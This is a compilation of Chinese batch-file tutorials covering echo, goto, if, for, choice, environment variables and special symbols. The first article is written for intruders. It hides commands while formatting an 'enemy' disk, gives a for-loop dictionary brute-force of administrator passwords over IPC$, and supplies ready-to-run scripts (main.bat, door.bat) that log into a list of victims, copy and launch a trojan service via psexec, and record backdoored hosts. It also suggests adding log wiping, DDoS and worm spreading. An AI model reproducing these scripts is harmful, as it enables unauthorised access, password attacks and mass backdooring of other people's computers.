批處理命令大全

批處理命令大全

1. Echo 命令

開啟回顯或關閉請求回顯功能，或顯示訊息。如果沒有任何引數，echo 命令將顯示當前回顯設定。
語法
echo [{on|off}] [message]
Sample：echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用> >> ^）結合來實現輸入一些命令到特定格式的檔案中.這將在以後的例子中體現出來。

2  @ 命令

表示不顯示@後面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬碟）自然不能讓對方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個引數的，可喜的是微軟留了個autoset這個引數給我們，效果和/y是一樣的。)

3 Goto 命令

指定跳轉到標籤，找到標籤後，程式將處理從下一行開始的命令。
語法：goto label （label是引數，指定所要轉向的批處理程式中的行。） 
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果這裡的if、%1、%2你不明白的話，先跳過去，後面會有詳細的解釋。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標籤的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標籤，goto命令就是根據這個：來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令

註釋命令，在C語言中相當與/*--------*/,它並不會被執行，只是起一個註釋的作用，便於別人閱讀和你自己日後修改。
Rem Message
Sample：@Rem Here is the description.

5.Pause 命令

執行 Pause 命令時，將顯示下面的訊息： 
Press any key to continue . . . 
Sample：
@echo off 
:begin 
copy a:*.* d：\back
echo Please put a new disk into driver A 
pause 
goto begin 
在這個例子中，驅動器 A 中磁碟上的所有檔案均複製到d:\back中。顯示的註釋提示您將另一張磁碟放入驅動器 A 時，pause 命令會使程式掛起，以便您更換磁碟，然後按任意鍵繼續處理。

6.Call 命令

從一個批處理程式呼叫另一個批處理程式，並且不終止父批處理程式。call 命令接受用作呼叫目標的標籤。如果在指令碼或批處理檔案外使用 Call，它將不會在命令列起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
引數
[Drive:}[Path] FileName 
指定要呼叫的批處理程式的位置和名稱。filename 引數必須具有 .bat 或 .cmd 副檔名。

7.start 命令

呼叫外部程式，所有的DOS命令和命令列程式都可以由start命令來呼叫。
入侵常用引數：
MIN 開始時視窗最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程式
HIGH 在 HIGH 優先順序類別開始應用程式
REALTIME 在 REALTIME 優先順序類別開始應用程式
WAIT 啟動應用程式並等候它結束
parameters 這些為傳送到命令/程式的引數
執行的應用程式是 32-位 GUI 應用程式時，CMD.EXE 不等應用程式終止就返回命令提示。如果在命令指令碼內執行，該新行為則不會發生。

8.choice 命令

choice 使用此命令可以讓使用者輸入一個字元，從而執行不同的命令。使用時應該加/c:引數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的內容如下: 
@echo off 
choice /c:dme defrag,mem,end 
if errorlevel 3 goto defrag （應先判斷數值最高的錯誤碼）
if errorlevel 2 goto mem 
if errotlevel 1 goto end 

:defrag 
c:\dos\defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye

此檔案執行後，將顯示 defrag,mem,end[D,M,E]? 使用者可選擇d m e ，然後if語句將作出判斷，d表示執行標號為defrag的程式段，m表示執行標號為mem的程式段，e表示執行標號為end的程式段，每個程式段最後都以goto end將程式跳到end標號處，然後程式將顯示good bye，檔案結束。

9.If 命令

if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式: 
1、if "引數" == "字串" 待執行的命令 
引數如果等於指定的字串，則條件成立，執行命令，否則執行下一句。(注意是兩個等號）
如if "%1"=="a" format a: 
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 檔名 待執行的命令 
如果有指定的檔案，則條件成立，執行命令，否則執行下一句。
如if exist config.sys edit config.sys 

3、if errorlevel / if not errorlevel 數字 待執行的命令 
如果返回碼等於指定的數字，則條件成立，執行命令，否則執行下一句。
如if errorlevel 2 goto x2 
DOS程式執行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。

10.for 命令

for 命令是一個比較複雜的命令，主要用於引數在指定的範圍內迴圈執行命令。
在批處理檔案中使用 FOR 命令時，指定變數請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的引數。
(set) 指定一個或一組檔案。可以使用萬用字元。
command 指定對每個檔案執行的命令。
command-parameters 為特定命令指定引數或命令列開關。
在批處理檔案中使用 FOR 命令時，指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的，所以 %i 不同於 %I

如果命令副檔名被啟用，下列額外的 FOR 命令格式會受到
支援:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含萬用字元，則指定與目錄名匹配，而不與檔案
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹，指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄，則使用當前
目錄。如果集僅為一個單點(.)字元，則列舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。
因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN (command) DO command 

或者，如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN (command) DO command 

filenameset 為一個或多個檔名。繼續到 filenameset 中的
下一個檔案之前，每份檔案都已被開啟、讀取並經過處理。
處理包括讀取檔案，將其分成一行行的文字，然後將每行
解析成零或更多的符號。然後用已找到的符號字串變數值
呼叫 For 迴圈。以預設方式，/F 通過每個檔案的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
引數替代預設解析操作。這個帶引號的字串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行註釋字元的結尾(就一個)
skip=n - 指在檔案開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
預設分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個範圍。通過 nth 符號指定 m
符號字串中的最後一個字元星號，
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文字。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字串並且
引號字元為文字字串命令並允許在 fi
中使用雙引號擴起檔名稱。

sample1:

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將
每行中的第二個和第三個符號傳遞給 for 程式體；用逗號和/或
空格定界符號。請注意，這個 for 程式體的語句引用 %i 來
取得第二個符號，引用 %j 來取得第三個符號，引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的檔案
名，您需要用雙引號將檔名括起來。為了用這種方式來使
用雙引號，您還需要使用 usebackq 選項，否則，雙引號會
被理解成是用作定義某個要分析的字串的。

%i 專門在 for 語句中得到說明，%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號，只要不試圖說明一個高於字母 z 或
Z 的變數。請記住，FOR 變數是單一字母、分大小寫和全域性的；
同時不能有 52 個以上都在使用中。

您還可以在相鄰字串上使用 FOR /F 分析邏輯；方法是，
用單引號將括號之間的 filenameset 括起來。這樣，該字元
串會被當作一個檔案中的一個單一輸入行。

最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將
括號之間的 filenameset 變成一個反括字串。該字串會
被當作命令列，傳遞到一個子 CMD.EXE，其輸出會被抓進
記憶體，並被當作檔案分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會列舉當前環境中的環境變數名稱。

另外，FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號(")，擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個檔名
%~xI - 僅將 %I 擴充到一個副檔名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到檔案的檔案屬性
%~tI - 將 %I 擴充到檔案的日期/時間
%~zI - 將 %I 擴充到檔案的大小
%~$PATH:I - 查詢列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義，或者沒有找到檔案，此組合鍵會擴充
空字串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個檔名和副檔名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查詢列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀，而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2：

利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連線，當成功時記下密碼。
最主要的命令是一條：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼，在dict.txt中這個取i%的值用net use 命令來連線。然後將程式執行結果傳遞給find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，這樣就ko了。

sample3：

你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很鬱悶：）。文章開頭就談到使用批處理檔案，可以簡化日常或重複性任務。那麼如何實現呢？呵呵，看下去你就會明白了。

主要命令也只有一條：（在批處理檔案中使用 FOR 命令時，指定變數使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1，在這裡它表示按順序將victim.txt中的內容傳遞給door.bat中的引數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連線，並copy木馬＋後門到victim，然後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指定的檔案。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的物件來排列，一般就是 ip password username。
程式碼雛形：

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
這只是一個自動種植後門批處理的雛形，兩個批處理和後門程式（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容
尚可擴充套件,例如:加入清除日誌+DDOS的功能,加入定時新增使用者的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

 

 

 

另一篇

BAT（批處理）檔案編寫詳細手冊

 

首先，批處理檔案是一個文字檔案，這個檔案的每一行都是一條DOS命令（大部分時候就好象我們在DOS提示符下執行的命令列一樣），你可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文字檔案編輯工具建立和修改批處理檔案。

其次，批處理檔案是一種簡單的程式，可以通過條件語句(if)和流程控制語句(goto)來控制命令執行的流程，在批處理中也可以使用迴圈語句 (for)來迴圈執行一條命令。當然，批處理檔案的程式設計能力與C語言等程式設計語句比起來是十分有限的，也是十分不規範的。批處理的程式語句就是一條條的 DOS命令（包括內部命令和外部命令），而批處理的能力主要取決於你所使用的命令。

第三，每個編寫好的批處理檔案都相當於一個DOS的外部命令，你可以把它所在的目錄放到你的DOS搜尋路徑(path)中來使得它可以在任意位置運 行。一個良好的習慣是在硬碟上建立一個bat或者batch 目錄（例如C:\BATCH），然後將所有你編寫的批處理檔案放到該目錄中，這樣只要在path中設定上c:\batch，你就可以在任意位置執行所有你 編寫的批處理程式。

第四，在DOS和Win9x/Me系統下，C:盤根目錄下的AUTOEXEC.BAT批處理檔案是自動執行批處理檔案，每次系統啟動時會自動執行該 檔案，你可以將系統每次啟動時都要執行的命令放入該檔案中，例如設定搜尋路徑，調入滑鼠驅動和磁碟快取，設定系統環境變數等。下面是一個執行於 Windows 98下的autoexec.bat的示例：

@ECHO OFF

PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

LH SMARTDRV.EXE /X

LH DOSKEY.COM /INSERT

LH CTMOUSE.EXE

SET TEMP=D:\TEMP

SET TMP=D:\TEMP

批處理的作用

簡單的說，批處理的作用就是自動的連續執行多條命令。

這裡先講一個最簡單的應用：在啟動wps軟體時，每次都必須執行（>前面內容表示DOS提示符）：

C:\>cd wps

C:\WPS>spdos

C:\WPS>py

C:\WPS>wbx

C:\WPS>wps

如果每次用WPS之前都這樣執行一遍，您是不是覺得很麻煩呢？

好了，用批處理，就可以實現將這些麻煩的操作簡單化，首先我們編寫一個runwps.bat批處理檔案，內容如下：

@echo off

c:

cd\wps

spdos

py

wbx

wps

cd\

以後，我們每次進入wps，只需要執行runwps這個批處理檔案即可。

常用命令

echo、@、call、pause、rem(小技巧：用::代替rem)是批處理檔案最常用的幾個命令，我們就從他們開始學起。

echo 表示顯示此命令後的字元

echo off 表示在此語句後所有執行的命令都不顯示命令列本身

@與echo off相象，但它是加在每個命令列的最前面，表示執行時不顯示這一行的命令列（只能影響當前行）。

call 呼叫另一個批處理檔案（如果不用call而直接呼叫別的批處理檔案，那麼執行完那個批處理檔案後將無法返回當前檔案並執行當前檔案的後續命令）。

pause 執行此句會暫停批處理的執行並在螢幕上顯示Press any key to continue...的提示，等待使用者按任意鍵後繼續

rem 表示此命令後的字元為解釋行（註釋），不執行，只是給自己今後參考用的（相當於程式中的註釋）。

例1：用edit編輯a.bat檔案，輸入下列內容後存檔為c:\a.bat，執行該批處理檔案後可實現：將根目錄中所有檔案寫入 a.txt中，啟動UCDOS，進入WPS等功能。

　　批處理檔案的內容為: 命令註釋：

@echo off　　　　　　　　　　　不顯示後續命令列及當前命令列

dir c:\*.* >a.txt　　　　　　　將c盤檔案列表寫入a.txt

call c:\ucdos\ucdos.bat　　　　呼叫ucdos

echo 你好 顯示"你好"

pause 暫停,等待按鍵繼續

rem 準備執行wps 註釋：準備執行wps

cd ucdos 進入ucdos目錄

wps 執行wps

批處理檔案的引數

批處理檔案還可以像C語言的函式一樣使用引數（相當於DOS命令的命令列引數），這需要用到一個參數列示符"%"。

%[1-9]表示引數，引數是指在執行批處理檔案時在檔名後加的以空格（或者Tab）分隔的字串。變數可以從%0到%9，%0表示批處理命令本身，其它引數字串用%1到%9順序表示。

例2：C:根目錄下有一批處理檔名為f.bat，內容為：

@echo off

format %1

如果執行C:\>f a:

那麼在執行f.bat時，%1就表示a:，這樣format %1就相當於format a:，於是上面的命令執行時實際執行的是format a:

例3：C:根目錄下一批處理檔名為t.bat，內容為:

@echo off

type %1

type %2

那麼執行C:\>t a.txt b.txt

%1 : 表示a.txt

%2 : 表示b.txt

於是上面的命令將順序地顯示a.txt和b.txt檔案的內容。

特殊命令

if goto choice for是批處理檔案中比較高階的命令，如果這幾個你用得很熟練，你就是批處理檔案的專家啦。

一、if 是條件語句，用來判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式:

1、if [not] "引數" == "字串" 待執行的命令

引數如果等於(not表示不等，下同)指定的字串，則條件成立，執行命令，否則執行下一句。

例：if "%1"=="a" format a:

2、if [not] exist [路徑\]檔名 待執行的命令

如果有指定的檔案，則條件成立，執行命令，否則執行下一句。

如: if exist c:\config.sys type c:\config.sys

表示如果存在c:\config.sys檔案，則顯示它的內容。

3、if errorlevel <數字> 待執行的命令

很多DOS程式在執行結束後會返回一個數字值用來表示程式執行的結果(或者狀態)，通過if errorlevel命令可以判斷程式的返回值，根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等於指定的數 字，則條件成立，執行命令，否則執行下一句。

如if errorlevel 2 goto x2

二、goto 批處理檔案執行到這裡將跳到goto所指定的標號(標號即label，標號用:後跟標準字串來定義)處，goto語句一般與if配合使用，根據不同的條件來執行不同的命令組。

如:

goto end

:end

echo this is the end

標號用":字串"來定義，標號所在行不被執行。

三、choice 使用此命令可以讓使用者輸入一個字元（用於選擇），從而根據使用者的選擇返回不同的errorlevel，然後於if errorlevel配合，根據使用者的選擇執行不同的命令。

注意：choice命令為DOS或者Windows系統提供的外部命令，不同版本的choice命令語法會稍有不同，請用choice /?檢視用法。

choice的命令語法（該語法為Windows 2003中choice命令的語法，其它版本的choice的命令語法與此大同小異）：

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:

該工具允許使用者從選擇列表選擇一個專案並返回所選專案的索引。

引數列表:

/C choices 指定要建立的選項列表。預設列表是 "YN"。

/N　　　　　　　　　在提示符中隱藏選項列表。提示前面的訊息得到顯示，選項依舊處於啟用狀態。

/CS 允許選擇分大小寫的選項。在預設情況下，這個工具是不分大小寫的。

/T timeout 做出預設選擇之前，暫停的秒數。可接受的值是從 0 到 9999。如果指定了 0，就不會有暫停，預設選項

　　　　　　　　　　　會得到選擇。

/D choice　　　　在 nnnn 秒之後指定預設選項。字元必須在用 /C 選項指定的一組選擇中; 同時，必須用 /T 指定 nnnn。

/M text　　　　　指定提示之前要顯示的訊息。如果沒有指定，工具只顯示提示。

/?　　　　　　　　　顯示幫助訊息。

　注意:

ERRORLEVEL 環境變數被設定為從選擇集選擇的鍵索引。列出的第一個選擇返回 1，第二個選擇返回 2，等等。如果使用者按的鍵不是有效的選擇，該工具會發出警告響聲。如果該工具檢測到錯誤狀態，它會返回 255 的ERRORLEVEL 值。如果使用者按 Ctrl+Break 或 Ctrl+C 鍵，該工具會返回 0 的 ERRORLEVEL 值。在一個批程式中使用 ERRORLEVEL 引數時，將引數降序排列。

示例:

CHOICE /?

CHOICE /C YNC /M "確認請按 Y，否請按 N，或者取消請按 C。"

CHOICE /T 10 /C ync /CS /D y

CHOICE /C ab /M "選項 1 請選擇 a，選項 2 請選擇 b。"

CHOICE /C ab /N /M "選項 1 請選擇 a，選項 2 請選擇 b。"

如果我執行命令：CHOICE /C YNC /M "確認請按 Y，否請按 N，或者取消請按 C。"

螢幕上會顯示：

確認請按 Y，否請按 N，或者取消請按 C。 [Y,N,C]?

例：test.bat的內容如下（注意，用if errorlevel判斷返回值時，要按返回值從高到低排列）:

@echo off

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem

if errotlevel 1 goto defrag

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此批處理執行後，將顯示"defrag,mem,end[D,M,E]?" ，使用者可選擇d m e ，然後if語句根據使用者的選擇作出判斷，d表示執行標號為defrag的程式段，m表示執行標號為mem的程式段，e表示執行標號為end的程式段，每個 程式段最後都以goto end將程式跳到end標號處，然後程式將顯示good bye，批處理執行結束。

四、for 迴圈命令，只要條件符合，它將多次執行同一命令。

語法：

對一組檔案中的每一個檔案執行某個特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable　　　　指定一個單一字母可替換的引數。

(set)　　　　　　指定一個或一組檔案。可以使用萬用字元。

command　　　　　指定對每個檔案執行的命令。

command-parameters 為特定命令指定引數或命令列開關。

例如一個批處理檔案中有一行:

for %%c in (*.bat *.txt) do type %%c

則該命令列會顯示當前目錄下所有以bat和txt為副檔名的檔案的內容。

批處理示例

1. IF-EXIST

1)

首先用記事本在C:\建立一個test1.bat批處理檔案，檔案內容如下：

@echo off

IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT

IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然後執行它：

C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT檔案，那麼它的內容就會被顯示出來，如果不存在，批處理就會提示你該檔案不存在。

2)

接著再建立一個test2.bat檔案，內容如下：

@ECHO OFF

IF EXIST \%1 TYPE \%1

IF NOT EXIST \%1 ECHO \%1 does not exist

執行:

C:\>TEST2 AUTOEXEC.BAT

該命令執行結果同上。

說明：

(1) IF EXIST 是用來測試檔案是否存在的，格式為

IF EXIST [路徑+檔名] 命令

(2) test2.bat檔案中的%1是引數，DOS允許傳遞9個批引數資訊給批處理檔案，分別為%1~%9(%0表示test2命令本身) ，這有點象程式設計中的實參和形參的關係，%1是形參，AUTOEXEC.BAT是實參。

3) 更進一步的，建立一個名為TEST3.BAT的檔案，內容如下：

@echo off

IF "%1" == "A" ECHO XIAO

IF "%2" == "B" ECHO TIAN

IF "%3" == "C" ECHO XIN

如果執行：

C:\>TEST3 A B C

螢幕上會顯示:

XIAO

TIAN

XIN

如果執行：

C:\>TEST3 A B

螢幕上會顯示

XIAO

TIAN

在這個命令執行過程中，DOS會將一個空字串指定給引數%3。

2、IF-ERRORLEVEL

建立TEST4.BAT，內容如下：

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 檔案拷貝失敗

IF ERRORLEVEL 0 ECHO 成功拷貝檔案

然後執行檔案:

C:\>TEST4

如果檔案拷貝成功，螢幕就會顯示"成功拷貝檔案"，否則就會顯示"檔案拷貝失敗"。

IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的，注意只是上一個命令的返回值，而且返回值必須依照從大到小次序順序判斷。因此下面的批處理檔案是錯誤的：

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

IF ERRORLEVEL 0 ECHO 成功拷貝檔案

IF ERRORLEVEL 1 ECHO 未找到拷貝檔案

IF ERRORLEVEL 2 ECHO 使用者通過ctrl-c中止拷貝操作

IF ERRORLEVEL 3 ECHO 預置錯誤阻止檔案拷貝操作

IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤

無論拷貝是否成功，後面的：

未找到拷貝檔案

使用者通過ctrl-c中止拷貝操作

預置錯誤阻止檔案拷貝操作

拷貝過程中寫盤錯誤

都將顯示出來。

以下就是幾個常用命令的返回值及其代表的意義：

backup

0 備份成功

1 未找到備份檔案

2 檔案共享衝突阻止備份完成

3 使用者用ctrl-c中止備份

4 由於致命的錯誤使備份操作中止

diskcomp

0 盤比較相同

1 盤比較不同

2 使用者通過ctrl-c中止比較操作

3 由於致命的錯誤使比較操作中止

4 預置錯誤中止比較

diskcopy

0 盤拷貝操作成功

1 非致命盤讀/寫錯

2 使用者通過ctrl-c結束拷貝操作

3 因致命的處理錯誤使盤拷貝中止

4 預置錯誤阻止拷貝操作

format

0 格式化成功

3 使用者通過ctrl-c中止格式化處理

4 因致命的處理錯誤使格式化中止

5 在提示"proceed with format（y/n）?"下使用者鍵入n結束

xcopy

0 成功拷貝檔案

1 未找到拷貝檔案

2 使用者通過ctrl-c中止拷貝操作

4 預置錯誤阻止檔案拷貝操作

5 拷貝過程中寫盤錯誤

3、IF STRING1 == STRING2

建立TEST5.BAT，檔案內容如下：

@echo off

IF "%1" == "A" formAT A:

執行：

C:\>TEST5 A

螢幕上就出現是否將A:盤格式化的內容。

注意：為了防止引數為空的情況，一般會將字串用雙引號（或者其它符號，注意不能使用保留符號）括起來。

如：if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT，檔案內容如下：

@ECHO OFF

IF EXIST C:\AUTOEXEC.BAT GOTO _COPY

GOTO _DONE

:_COPY

COPY C:\AUTOEXEC.BAT D:\

:_DONE

注意：

(1) 標號前是ASCII字元的冒號":"，冒號與標號之間不能有空格。

(2) 標號的命名規則與檔名的命名規則相同。

(3) DOS支援最長八位字元的標號，當無法區別兩個標號時，將跳轉至最近的一個標號。

6、FOR

建立C:\TEST7.BAT，檔案內容如下：

@ECHO OFF

FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

執行：

C:>TEST7

執行以後，螢幕上會將C:盤根目錄下所有以BAT、TXT、SYS為副檔名的檔案內容顯示出來（不包括隱藏檔案）。

win2000命令列方式批處理BAT檔案技巧

文章結構

1. 所有內建命令的幫助資訊

2. 環境變數的概念

3. 內建的特殊符號(實際使用中間注意避開)

4. 簡單批處理檔案概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

###########################

1. 所有內建命令的幫助資訊

###########################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面將所有上面的幫助輸出到一個檔案

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

#############################

2. 環境變數的概念

#############################

C:\Program Files>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=FIRST

ComSpec=C:\WINNT\system32\cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2\dll;

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\WINNT

TEMP=C:\WINNT\TEMP

TMP=C:\WINNT\TEMP

USERPROFILE=C:\Documents and Settings\Default User

windir=C:\WINNT

path: 表示可執行程式的搜尋路徑. 我的建議是你把你的程式copy 到

%windir%\system32\. 這個目錄裡面. 一般就可以自動搜尋到.

語法: copy mychenxu.exe %windir%\system32\.

使用點(.) 便於一目瞭然

對環境變數的引用使用(英文模式,半形)雙引號

%windir% 變數

%%windir%% 二次變數引用.

我們常用的還有

%temp% 臨時檔案目錄

%windir% 系統目錄

%errorlevel% 退出程式碼

輸出檔案到臨時檔案目錄裡面.這樣便於當前目錄整潔.

對有空格的引數. 你應該學會使用雙引號("") 來表示比如對porgram file資料夾操作

C:\>dir p*

C:\ 的目錄

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47 <DIR> Program Files

1 個檔案 2,164 位元組

1 個目錄 1,505,997,824 可用位元組

C:\>cd pro*

C:\Program Files>

C:\>

C:\>cd "Program Files"

C:\Program Files>

############################################

3. 內建的特殊符號(實際使用中間注意避開)

############################################

微軟裡面內建了下列字元不能夠在建立的檔名中間使用

con nul aux \ / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要麼你使用^作為前導字元表示.或者就只有使用雙引號""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 建立一個檔案

>> 追加到一個檔案後面

@ 字首字元.表示執行時本行在cmd裡面不顯示, 可以使用 echo off關閉顯示

^ 對特殊符號( > < &)的前導字元. 第一個只是顯示aaa 第二個輸出檔案bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa & echo bb)

, 和空格一樣的預設分隔符號.

; 註釋,表示後面為註釋

: 標號作用

| 管道操作

& Usage：第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令，而不管命令是否執行成功

dir c:\*.exe & dir d:\*.exe & dir e:\*.exe

&& Usage：第一條命令 && 第二條命令 [&& 第三條命令...]

當碰到執行出錯的命令後將不執行後面的命令，如果一直沒有出錯則一直執行完所有命令；

|| Usage：第一條命令 || 第二條命令 [|| 第三條命令...]

當碰到執行正確的命令後將不執行後面的命令，如果沒有出現正確的命令則一直執行完所有命令；

常用語法格式

